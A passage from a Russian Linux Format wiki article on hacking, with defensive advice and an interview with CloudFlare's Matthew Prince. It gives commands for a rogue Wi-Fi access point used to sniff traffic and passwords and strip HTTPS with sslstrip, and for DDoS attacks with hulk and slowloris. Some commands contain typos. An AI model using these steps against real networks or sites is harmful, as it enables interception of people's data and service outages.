
Как ви­ди­те, про­цесс об­на­ру­жения уяз­ви­мо­стей тре­бу­ет знания то­го, что имен­но ис­кать, и на­хо­ж­дения при­ло­жений для это­го. Это мо­жет быть дол­гий и мед­лен­ный про­цесс. Есть ав­то­ма­ти­че­­ские сканеры (вро­де то­го, что вклю­чен в ZAP), но все же на­мно­го луч­ше де­лать это вруч­ную – так виднее, что про­ис­хо­дит. Мно­гие тес­ти­ров­щи­ки на проник­но­вение пред­по­чи­та­ют руч­ную ра­бо­ту, это по­зво­ля­ет им до­би­вать­ся ку­да луч­ших ре­зуль­та­тов, чем ав­то­ма­ти­че­ским сканерам.

[править] По­сред­ник

Как под­верг­нуть ата­ке от­дель­ный web-брау­зер.

По­ка мы рас­смот­ре­ли толь­ко ата­ку на сайт, но это лишь по­ло­ви­на ис­то­рии. Мы мо­жем так­же под­верг­нуть ата­ке че­ло­ве­ка, ко­то­рый на­хо­дит­ся в се­ти. Одним из спо­со­бов сде­лать это яв­ля­ет­ся XSS (на­при­мер, тот, что воз­мо­жен в ВМ WordPress), но мы сей­час скон­цен­три­ру­ем­ся на хи­щении дан­ных.

Для это­го есть несколь­ко спо­со­бов. На­при­мер, мож­но уста­но­вить на ком­пь­ю­тер вре­до­носное ПО и ис­поль­зо­вать его для пе­ре­хва­та се­те­во­го тра­фи­ка. Од­на­ко в на­шей ста­тье мы восполь­зу­ем­ся про­стей­шим спо­со­бом: раз­мес­тим вре­до­носный ком­пь­ю­тер ме­ж­ду жерт­вой и Ин­тернетом, что­бы весь тра­фик шел че­рез него. Это на­зы­ва­ет­ся ата­кой ти­па «По­средник» (Man In The Middle, MITM). Мо­же­те со­вер­шить ее с по­мо­щью се­те­вых ка­бе­лей, мо­же­те да­же вир­ту­аль­но со­вер­шить ее с по­мо­щью ата­ки ARP-spoofing; ну, а мы об­ра­тим­ся к Wi-Fi.

Как и все ата­ки, опи­сан­ные в этой ста­тье, зло­упот­реб­ление дан­ной ата­кой яв­ля­ет­ся неза­кон­ным в боль­шин­ст­ве стран. Это не оз­на­ча­ет зло­упот­реб­ление дан­ны­ми, это оз­на­ча­ет кра­жу дан­ных как та­ко­вую.

Что­бы про­тес­ти­ро­вать ата­ку, мы взя­ли нетбук, под­клю­чен­ный к Ethernet, для соз­дания бес­про­вод­ной точ­ки досту­па – лю­ди поль­зу­ют­ся та­ки­ми для со­единения с се­тью в ка­фе, да­же не за­ду­мы­ва­ясь о безопасности.

Во-пер­вых, нуж­на про­грам­ма на­строй­ки точ­ки досту­па. Мы ис­поль­зо­ва­ли hostapd. Она име­ет­ся в ре­по­зи­то­ри­ях неко­то­рых ди­ст­ри­бу­ти­вов, и доступ­на на http://hostap.epitest.fi/hostapd/. Вам так­же по­на­до­бит­ся DHCP-сер­вер – он по­зво­лит убе­дить­ся, что кли­ен­ты, со­единен­ные с ва­шей точ­кой досту­па, мо­гут по­лу­чить IP-ад­ре­са. Мы ис­поль­зо­ва­ли dhcpd3 (из па­ке­та dhcpd3-server в Ubuntu).

Обе­им про­грам­мам нуж­ны фай­лы на­строй­ки. Фай­лы для при­ме­ра вы най­де­те в tar-ар­хи­ве ко­да он­лайн на www.linuxformat.com/archive.

Ус­та­но­вив про­грам­му и най­дя файл на­строй­ки, на­строй­те свою точ­ку досту­па с по­мо­щью

sudo hostapd –Bdd hostapdl.conf

sudo dhcpd -4 –cf dhcp2.conf wlan0

Воз­мож­но, при­дет­ся до­ба­вить путь к двум фай­лам .conf, ес­ли их нет в те­ку­щей ди­рек­то­рии.

Вам нуж­но ве­леть сво­ей ма­шине пе­ре­на­пра­вить ин­тернет- со­единения на дру­гое се­те­вое со­единение; в про­тив­ном слу­чае лю­бая ма­ши­на, ко­то­рая со­еди­ня­ет­ся с ва­ми, не смо­жет по­лу­чить доступ к Ин­тернет.

sudo bash

echo “1” >/proc/sys/net/ipv4/ip_froward

iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE

Ве­ро­ят­но, са­мое уди­ви­тель­ное в Ин­тернете то, что боль­шая часть ин­фор­ма­ции не шиф­ру­ет­ся. Она про­сто от­прав­ля­ет­ся как обыч­ный текст, ко­то­рый мо­жет про­чи­тать лю­бой MITM без вся­ких про­блем со взло­мом шиф­ра.

Wireshark – от­лич­ный ин­ст­ру­мент для про­смот­ра дан­ных, про­хо­дя­щих че­рез ваш вре­до­носный ком­пь­ю­тер на уровне па­ке­тов, но боль­шую часть вре­мени нам не нуж­но уг­луб­лять­ся до это­го уров­ня. Вме­сто это­го мож­но ис­поль­зо­вать justniffer для воссоз­дания все­го се­те­во­го тра­фи­ка, про­хо­дя­ще­го че­рез на­шу вре­до­носную точ­ку досту­па.

Обыч­но этот ин­ст­ру­мент не вклю­ча­ет­ся в ре­по­зи­то­рии ди­ст­ри­бу­ти­вов. Что­бы уста­но­вить его в Ubuntu, до­бавь­те PPA:

sudo add-apt-repository ppa:oreste-notelli/ppa

sudo apt-get update

sudo apr-get install justniffer

В дру­гих ди­ст­ри­бу­ти­вах при­дет­ся ком­пи­ли­ро­вать его са­мо­стоя­тель­но. Под­роб­но­сти см. на http://justniffer.sourceforge.net/#!/install

Есть ряд оп­ций, по­зво­ляю­щих вы­пол­нять са­мые раз­ные ви­ды се­те­во­го монито­рин­га. Мы со­би­ра­ем­ся ис­поль­зо­вать его спо­соб­ность воссоз­да­вать web-страницы, ко­то­рые он ви­дит. Сна­ча­ла соз­дай­те ди­рек­то­рию дан­ных. В дан­ном при­ме­ре она бу­дет в до­машней ди­рек­то­рии ав­то­ра, но мо­жет на­хо­дить­ся где угод­но (непло­хо раз­мес­тить ее на от­дель­ном дис­ке, ес­ли вы планируе­те оста­вить ее ра­бо­тать на неко­то­рое вре­мя).

mkdir /home/ben/data

sudo justniffer-grab-http-traffic -d /home/ben/data -U ben -i wlan0

В обо­их стро­ках нуж­но за­менить ben на свое имя поль­зо­ва­те­ля. Оп­ция -U ко­ман­ду­ет, под ка­ким поль­зо­ва­те­лем со­хра­нять фай­лы.

Ес­ли вы со­единились с точ­кой досту­па че­рез ком­пь­ю­тер, план­шет или те­ле­фон и бро­ди­те по се­ти, вы долж­ны ви­деть ди­рек­то­рию дан­ных, за­пол­няе­мую фай­ла­ми для ка­ж­дой про­смот­рен­ной неза­шиф­ро­ван­ной страницы. Сю­да вхо­дит со­дер­жание всех про­чи­тан­ных пи­сем, пе­ре­дан­ных без ис­поль­зо­вания HTTPS (Gmail ис­поль­зу­ет его, и по­это­му пись­ма с него не бу­дут про­чи­та­ны; а боль­шин­ст­во осталь­ных сай­тов– нет).

Конеч­но, не все, что вы хо­ти­те пе­ре­хва­тить, про­хо­дит че­рез HTTP, и мно­гие дру­гие по­пу­ляр­ные про­то­ко­лы тоже не за­шиф­ро­ва­ны (на­при­мер, FTP и Telnet). На ваше сча­стье, есть и ин­ст­ру­менты, спо­соб­ные по­мочь вам ата­ко­вать их. На­при­мер, dsniff (http://monkey.org/~dugsong/dsniff) вы­та­щит из се­те­во­го тра­фи­ка все неза­шиф­ро­ван­ные па­ро­ли.

Оба эти ин­ст­ру­мен­та пас­сив­ны, то есть про­сто де­ла­ют ко­пии дан­ных, никак ина­че на них не воз­дей­ст­вуя. Мы мо­жем несколь­ко из­менить си­туа­цию, но для это­го при­дет­ся при­бег­нуть к ак­тив­ной ата­ке, в ча­ст­но­сти, к sslstrip.

sslstrip ис­поль­зу­ет са­му суть се­те­вых ссы­лок и тот факт, что неко­то­рые страницы за­шиф­ро­ва­ны, а неко­то­рые – нет. В основ­ном он от­сле­жи­ва­ет весь неза­шиф­ро­ван­ный тра­фик и ждет ссыл­ки или пе­ре­ад­ре­са­ции на сай­ты HTTPS, а за­тем на­чи­на­ет ата­ку MITM: sslstrip за­пра­ши­ва­ет безо­пас­ную вер­сию сай­та и вы­да­ет ее брау­зе­ру в ви­де про­сто­го HTTP.

Сайт мо­жет за­бло­ки­ро­вать по­доб­ную ата­ку, од­на­ко в це­ли на­шей ста­тьи не вхо­дит рас­смот­рение это­го про­цес­са. Од­на­ко мы об­на­ру­жи­ли, что неко­то­рые по­пу­ляр­ные сай­ты (вклю­чая Facebook и Yahoo) ока­за­лись уяз­ви­мы. Мы со­об­щи­ли об этой про­бле­ме ко­ман­дам безо­пас­но­сти этих сай­тов. Facebook нам от­ве­тил, что они ре­ко­мен­ду­ют вклю­чить на­строй­ки безо­пас­но­сти брау­зе­ра. Од­на­ко оста­но­вить ата­ку им не уда­ст­ся, и когда мы со­об­щи­ли об этом, нам ниче­го не от­ве­ти­ли. А от Yahoo от­ве­та во­об­ще не поступи­ло.

[править] Шиф­руй­тесь

Вы мо­же­те рас­смат­ри­вать Ин­тернет как сво­его ро­да поч­то­вый сер­вис. Обыч­но дан­ные пе­ре­да­ют­ся неза­шиф­ро­ван­ны­ми, и это по­хо­же на пе­ре­сыл­ку от­крыт­ки. Про­чи­тать ее мо­жет мно­же­ст­во лю­дей, с мо­мен­та от­прав­ки и до мо­мен­та достав­ки, и то же мож­но ска­зать и об ин­фор­ма­ции, от­прав­ляе­мой че­рез HTTP, FTP, Telnet. Иногда это не име­ет зна­чения – вам, ве­ро­ят­но, на­пле­вать, ес­ли поч­таль­он ва­шей ба­буш­ки уз­на­ет, что над всей Ис­панией без­об­лач­ное небо – но иногда и важ­но; и вы вряд ли за­хо­ти­те, что­бы поч­таль­он уз­нал ва­ши бан­ков­ские ре­к­ви­зи­ты. То же са­мое мож­но ска­зать и о дан­ных он­лайн. Ес­ли вы не хо­ти­те, что­бы ва­ши дан­ные бы­ли доступ­ны для ши­ро­кой пуб­ли­ки, ис­поль­зуй­те за­шиф­ро­ван­ный про­то­кол (HTTPS, SFTP, SSH, SCP и т. п.).

Что­бы несколь­ко уп­ро­стить эту за­да­чу, Electronic Frontier Foundation (EFF) соз­да­ли рас­ши­рение для Firefox (вер­сия для Chrome на­хо­дит­ся на аль­фа-ста­дии раз­ра­бот­ки) под на­званием HTTPS Everywhere. Оно обес­пе­чи­ва­ет ис­поль­зо­вание по умол­чанию за­шиф­ро­ван­ной вер­сии сай­та, ес­ли та­ко­вая су­ще­ст­вует. Ес­ли у сай­та нет за­шиф­ро­ван­ной вер­сии, то оно бу­дет ра­бо­тать с неза­шиф­ро­ван­ной, так что бди­тель­ность те­рять все рав­но не советуем.

Как мы ви­де­ли бла­го­да­ря sslstrip, нуж­но быть крайне осто­рож­ным при ис­поль­зо­вании от­кры­той се­ти, да­же ес­ли сайт за­шиф­ро­ван. Пре­ж­де чем вво­дить ка­кую-ли­бо ин­фор­ма­цию, убе­ди­тесь, что вы ис­поль­зуе­те HTTPS.

За­шиф­ро­ван­ные про­то­ко­лы со­хра­ня­ют кон­фи­ден­ци­аль­ность дан­ных, но они не скры­ва­ют, ка­кие сер­ве­ры вы ис­поль­зуе­те. На­при­мер, зло­умыш­ленник мо­жет уз­нать, что вы ис­поль­зуе­те gmail.com, но не смо­жет уз­нать, под ка­ким именем поль­зо­ва­те­ля вы ра­бо­тае­те или ка­кие со­об­щения по элек­трон­ной поч­те по­лу­чае­те или от­прав­ляе­те. Ес­ли по­ми­мо шиф­ро­вания вам нуж­на и аноним­ность, поль­зуй­тесь VPN или Tor (https://www.torproject.org/). Помните, что для обес­пе­чения долж­ной за­щи­ты и в этом случае все рав­но на­до ис­поль­зо­вать про­то­кол с шиф­ро­ванием.

> sstrtip со­хра­ня­ет ко­пию все­го неза­шиф­ро­ван­но­го тра­фи­ка. Обычная ко­ман­да grep мо­жет най­ти лю­бые дан­ные иден­ти­фи­ка­ции (не радуйтесь: это не на­стоя­щие учет­ные за­пи­си).


[править] DDoS

Со­кру­ши­те на­ме­чен­ный сер­вер.

Distributed Denial of Service (DDoS), ве­ро­ят­но, са­мый раз­рек­ла­ми­ро­ван­ный вид ата­ки за по­следнее вре­мя. Anoni­mous и про­чие ха­кер­ст­вую­щие кол­лек­ти­вы при­бе­га­ли к нему для атак на пра­ви­тель­ст­ва, фи­нан­со­вые уч­ре­ж­дения и про­чие ор­ганиза­ции, ко­то­рые в чем-то им на­со­ли­ли. Хоть это и не так рек­ла­ми­ро­ва­лось, но DOS так­же стал ору­жи­ем, ко­то­рое ис­поль­зо­ва­ли кри­ми­наль­ные эле­мен­ты. Од­на­ко пре­ж­де чем го­во­рить о при­чи­нах это­го, да­вай­те рас­смот­рим, что та­кое DDoS-ата­ки и как они ра­бо­та­ют.

В об­щих чер­тах, DDoS-ата­ка не по­зво­ля­ет сер­ве­ру вы­пол­нять свои обыч­ные функ­ции, от­ка­зы­вая та­ким об­ра­зом поль­зо­ва­те­лям в об­слу­жи­вании. Обыч­но это web-сер­вер, но необя­за­тель­но. Это де­ла­ет­ся не по­сред­ст­вом взло­ма ком­пь­ю­те­ра или по­лу­чения досту­па, а пе­ре­груз­кой сер­ве­ра боль­шим по­то­ком за­про­сов.

На­при­мер, ата­кую­щий мо­жет пе­ре­гру­зить се­те­вое со­единение сер­ве­ра фик­тив­ны­ми дан­ны­ми, и ника­кие полезные па­ке­ты про­скольз­нуть не смо­гут, или он мо­жет за­хва­тить все цик­лы CPU, и сер­вер не смо­жет об­ра­ба­ты­вать дру­гие за­про­сы.

По­сколь­ку боль­шин­ст­во со­вре­мен­ных сер­ве­ров име­ют вы­со­кую про­пу­ск­ную спо­соб­ность, мощ­ные CPU и боль­шое ко­ли­че­­ст­во па­мя­ти, как пра­ви­ло, их не очень-то пе­ре­гру­зишь толь­ко с по­мо­щью до­машнего ши­ро­ко­по­лосно­го со­еди­не­ния. Что­бы до­бить­ся это­го, ата­кую­щие час­то ис­поль­зу­ют несколь­ко ком­пь­ю­те­ров для од­но­вре­мен­ной ата­ки на цель. В слу­чае хак­ти­ви­стов это де­ла­ется груп­пой со­чув­ст­вую­щих; в слу­чае пре­ступ­ных эле­мен­тов, это час­то де­ла­ет­ся ботнета­ми.

Есть мно­же­ст­во ин­ст­ру­мен­тов, спо­соб­ных по­мочь вам про­вес­ти тест на DDOS. Лю­би­мей­ший ин­ст­ру­мент Anonimous – High Orbit Ion Cannon, по­сколь­ку он прост для неис­ку­шен­ных поль­зо­ва­те­лей. Од­на­ко мы рас­смот­рим hulk. Его мож­но най­ти на http://packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html. Что­бы за­пустить hulk, про­сто рас­па­куй­те его и ско­ман­дуй­те:

unzip hulk zip

python hulk py http://<site>

Что­бы про­тес­ти­ро­вать его, мож­но ско­рень­ко на­стро­ить сер­вер HTTP с по­мо­щью

python -m SimpleHTTPServer

и за­тем ата­ко­вать его ко­ман­дой

python hulk.py http://<ip address>:8000

Мы об­на­ру­жи­ли, что это вполне эф­фек­тив­но об­ру­ши­ва­ет сайт. Но есть оче­вид­ная разница ме­ж­ду об­ру­шением неболь­шо­го web-сер­ве­ра на Python и вы­би­вание со­лид­но­го сер­ве­ра Apache в ре­жим оф­флайн. Hulk про­сто пы­та­ет­ся за­ки­дать ма­ши­ну за­про­са­ми. Те­перь мы рас­смот­рим дру­гой ин­ст­ру­мент, бо­лее ра­зум­ный. Slowlories (он есть на http://ha.ckers.org/slowloris/ или на DVD) ра­бо­та­ет, пы­та­ясь удер­жать как мож­но боль­ше со­единений от­кры­ты­ми, с це­лью ис­чер­пать ре­сур­сы сер­ве­ра. Это тре­бу­ет на­мно­го мень­шей по­ло­сы ве­щания, чем ата­ка гру­бой си­лы в сти­ле hulk, од­на­ко не все сер­вер­ное ПО яв­ля­ет­ся уяз­ви­мым. Что­бы за­пустить slowlories, про­сто сде­лай­те файл ис­пол­няе­мым и за­тем вы­зо­ви­те его с по­мо­щью:

chmode a+x slowlories.pl

./slowris.pl -dns <site>

И сно­ва наш сер­вер на Python сдал­ся мгно­вен­но.

[править] За­щи­щай­тесь

За­щи­та от DDoS-ата­ки за­клю­ча­ет­ся в миними­за­ции ущер­ба от ка­ж­до­го вре­до­носно­го па­ке­та. Дру­ги­ми сло­ва­ми, на­до оста­но­вить как мож­но боль­ше та­ких па­ке­тов, как толь­ко они поя­вят­ся в ва­шей се­ти. Для это­го ну­жен бранд­мау­эр и умение его на­стро­ить, что­бы он оп­ре­де­лял и от­бра­сы­вал со­от­вет­ст­вую­щие па­ке­ты.

Как имен­но вы это сде­лае­те, за­ви­сит от бранд­мау­эра, и под­хо­дя­щие пра­ви­ла бу­дут по­сто­ян­но ме­нять­ся в веч­ной охо­те кош­ки за мы­шью, когда ата­кую­щий бу­дет ме­нять свои па­ке­ты, что­бы обой­ти ваш бранд­мау­эр. Од­на­ко мы ска­жем вот что: уз­най­те, как за­щи­тить се­бя, до то­го, как под­вергнетесь ата­ке! Про­буй­те все­воз­мож­ные пред­ла­гае­мые ин­ст­ру­мен­ты DDoS и прак­ти­куй­тесь в ис­кусст­ве их бло­ки­ро­вать, по­то­му что вряд ли вам по­нра­вит­ся учить­ся это­му по­сле то­го, как ваш сайт рухнет. Ра­бо­та с ин­ст­ру­мен­та­ми DDoS – так­же от­лич­ный спо­соб уз­нать, как бу­дет се­бя вес­ти ваш сайт под пиковой на­груз­кой.

В по­ряд­ке аль­тер­на­ти­вы, мож­но по­мес­тить свой сер­вер в сеть, спо­соб­ную по­за­бо­тить­ся о нем вме­сто вас. Та­кие про­вай­де­ры, как CloudFlare, по­мес­тят ваш сер­вер за свой бранд­мау­эр (вир­ту­аль­но, вам не нуж­но за­но­во со­еди­нять­ся с сер­ве­ром). А зна­чит, вам не при­дет­ся бес­по­ко­ить­ся о тон­ко­стях на­стой­ки бранд­мау­эра.

> Ло­ри мед­лен­ные [Slow lories] — тип при­ма­тов, оби­та­ю­щих в Юж­ной и Юго-Вос­точ­­ной Азии. Ес­ли хо­ти­те уз­нать, как они вы­гля­дят, про­сто от­крой­те файл Perl в тек­сто­вом ре­дак­то­ре.

«Ряд крупней­ших из на­блю­дае­мых атак – по су­ти, вы­мо­га­тель­ст­во он­лайн»

Из­ра­иль­тяне и па­ле­стин­цы со­глас­ны в од­ном: в вы­бо­ре за­щитника от DDoS-атак. И вот мы встре­ти­лись с Мэ­тью Прин­сом, ру­ко­во­ди­те­лем и со­уч­ре­ди­те­лем CloudFlare, что­бы вы­яснить, как же он пы­та­ет­ся опережать он­лайн-злоумышленников.

Linux Format: Вы за­ме­ча­ли, что гео­гра­фия он­лайн-атак со вре­менем ме­ня­ет­ся?

LXF170.feat hackleweb.m fmt.png

Мэ­тью Принс [Matthew Prince]: Мы с мо­им со­уч­ре­ди­те­лем на­ча­ли ра­бо­тать над про­бле­ма­ми се­те­вой безо­пас­но­сти в 2003 го­ду, за­пустив про­ект Honey Pot. Це­лью бы­ло от­сле­жи­вать он­лай­но­вые мо­шенниче­­ст­ва с кре­дит­ны­ми кар­та­ми, и в пер­вую оче­редь мы от­сле­жи­ва­ли, как спа­ме­ры кра­дут ад­ре­са элек­трон­ной поч­ты с сай­тов. В те вре­ме­на луч­шим спо­со­бом для пло­хих парней сде­лать день­ги он­лайн бы­ло стать спа­ме­ром или тру­дить­ся на ниве спа­ма. Мне ка­жет­ся, эта си­туа­ция ме­ня­ет­ся. Эта сфе­ра все еще весь­ма при­быль­на, но уже не так, как рань­ше. В спа­ме есть од­на ин­те­рес­ная вещь: что­бы их не об­на­ру­жи­ли, спа­ме­ры ста­ли ис­поль­зо­вать ре­сур­сы соз­да­те­лей ви­ру­сов [ком­пь­ю­те­ры, ко­то­рые бы­ли ча­стью ботнета] для сво­их рас­сы­лок. По ме­ре то­го, как с го­да­ми улуч­ша­лись фильт­ры спа­ма и спам ста­но­вил­ся менее при­быль­ным, мы уви­де­ли, как те же са­мые ре­сур­сы ботнета ста­ли ис­поль­зо­вать­ся для ря­да дру­гих атак. Та­ким об­ра­зом, по су­ти мы сей­час име­ем де­ло с той же про­бле­мой, что и в 2003-м: име­ют­ся за­ра­жен­ные ма­ши­ны, и они ис­поль­зу­ют­ся, что­бы соз­дать еще боль­шие про­бле­мы. В 2003-м это был спам, в 2012-м стал DDoS. Од­на­ко ре­сур­сы, ко­то­ры­ми он­лайн-зло­умыш­ленники поль­зу­ют­ся для за­пуска ата­ки, по­следние 10 лет оста­ют­ся все те­ми же.

LXF: В чем са­мая боль­шая уг­ро­за для он­лайн-бизнеса?

МП: Мне ка­жет­ся, очень силь­но вы­росло как ко­ли­че­­ст­во атак [DDoS], так и их раз­мер. Мы на­блю­да­ем ре­гу­ляр­ные ата­ки, пре­вы­шаю­щие 50 или 60 ГБ/с, ко­то­рым под­вер­га­ет­ся на­ша сеть. У нас круп­ная и мощ­ная сеть, и мы справ­ля­ем­ся с ата­ка­ми в несколь­ко со­тен ГБ, но, знае­те ли, 50 или 60 ги­гов – это боль­ше, чем мо­гут от­пра­вить са­мые круп­ные хостинг-про­вай­де­ры. Я не знаю ни од­но­го бан­ка с по­доб­ным тра­фи­ком. С этим труд­но спра­вить­ся, по­то­му что немно­го най­дет­ся ре­сур­сов обо­ру­до­вания, ко­то­рые мож­но бы­ло бы за­дей­ст­во­вать, что­бы пре­кра­тить та­кую ата­ку. Не­важ­но, круп­ное у вас пред­при­ятие или мел­кое, за­ра­ба­ты­ваю­щее он­лайн, я по­ла­гаю, что мас­штаб и объ­ем ныне на­блю­дае­мых DDoS-атак вну­ша­ет серь­ез­ные опа­сения для мно­же­ст­ва пред­при­ятий.

LXF: Вы ис­сле­дуе­те при­чи­ны этих атак?

МП: Мы не осо­бо тра­тим вре­мя на вы­яснение при­чин и то­го, кто за этим сто­ит, хо­тя, конеч­но, по­лу­ча­ем ин­фор­ма­цию от кли­ен­тов на­счет то­го, что, по их мнению, по­слу­жи­ло мо­ти­вом; и мо­ти­вы очень раз­ные. Мы ви­де­ли ата­ки по ком­мер­че­­ским со­об­ра­жениям. Бы­ва­ют слу­чаи, когда ата­ка за­ка­за­на кон­ку­рен­том. Ряд крупней­ших из на­блю­да­емых атак – по су­ти, вы­мо­га­тель­ст­во он­лайн, когда некий зло­умыш­ленник от­прав­ля­ет элек­трон­ной по­чтой на среднего (обыч­но) раз­ме­ра сайт e-commerce со­об­щение при­мер­но та­ко­го со­дер­жания: «ли­бо вы пла­ти­те нам эн­ную сум­му, ли­бо мы пе­ре­кры­ва­ем вам доступ в Ин­тернет». Ко­ли­че­­ст­во по­доб­ных атак рас­тет по­сто­ян­но.

К нам об­ра­щал­ся че­чен­ский но­во­ст­ной сайт, ата­ко­ван­ный россий­ски­ми пра­ви­тель­ст­вен­ны­ми уч­ре­ж­дения­ми или кем-то, со­чув­ст­вую­щим россий­ским пра­ви­тель­ст­вен­ным уч­ре­ж­дениям. У нас есть кли­ен­ты с обе­их сто­рон ближнево­сточ­но­го кон­флик­та. На­ши­ми услу­га­ми поль­зу­ют­ся из­ра­иль­ские, пале­стин­ские и еги­пет­ские сай­ты – на мно­гие из них со­вер­ша­лись мас­штаб­ные ата­ки, и все с по­ли­ти­че­­ской по­до­п­ле­кой. WikiLeaks так­же поль­зо­ва­лась [CloudFlare], для пре­кра­щения мас­штаб­ных атак от­ка­за в об­слу­жи­вании. Хо­тя ата­ки хак­ти­ви­стов наи­бо­лее по­пу­ляр­ны в прес­се, в основ­ном они не са­мые круп­но­мас­штаб­ные. Вы­яс­ня­ет­ся, что са­мые круп­ные ата­ки име­ют оп­ре­де­лен­ную пра­ви­тель­ст­вен­ную под­держ­ку – вот те бы­ва­ют дей­ст­ви­тель­но круп­ны­ми. Или те, что яв­ля­ют­ся он­лайн-вы­мо­га­тель­ст­вом. Мы ви­де­ли ата­ки на сай­ты эс­корт-услуг, когда ряд тру­жениц сек­са ре­шил из­ба­вить­ся от су­тенеров, а су­тенеры ста­ли их пре­сле­до­вать. В прин­ци­пе, лю­бой, у ко­го есть на вас зуб и ре­сур­сы, что­бы доста­вить вам непри­ят­но­сти, мо­жет в на­ше вре­мя ор­ганизо­вать до­воль­но со­лид­ную ата­ку, спо­соб­ную вы­ши­бить оф­флайн да­же круп­ную ор­ганиза­цию. Пол­ную вер­сию ин­тер­вью см. на www.tuxradar.com/content/mpivew. |

Источник — «http://wiki.linuxformat.ru/wiki/index.php?title=LXF170:%D0%92%D0%B7%D0%BB%D0%BE%D0%BC_%D1%81%D0%B5%D1%82%D0%B8&oldid=19747»
Персональные инструменты
купить
подписаться
Яндекс.Метрика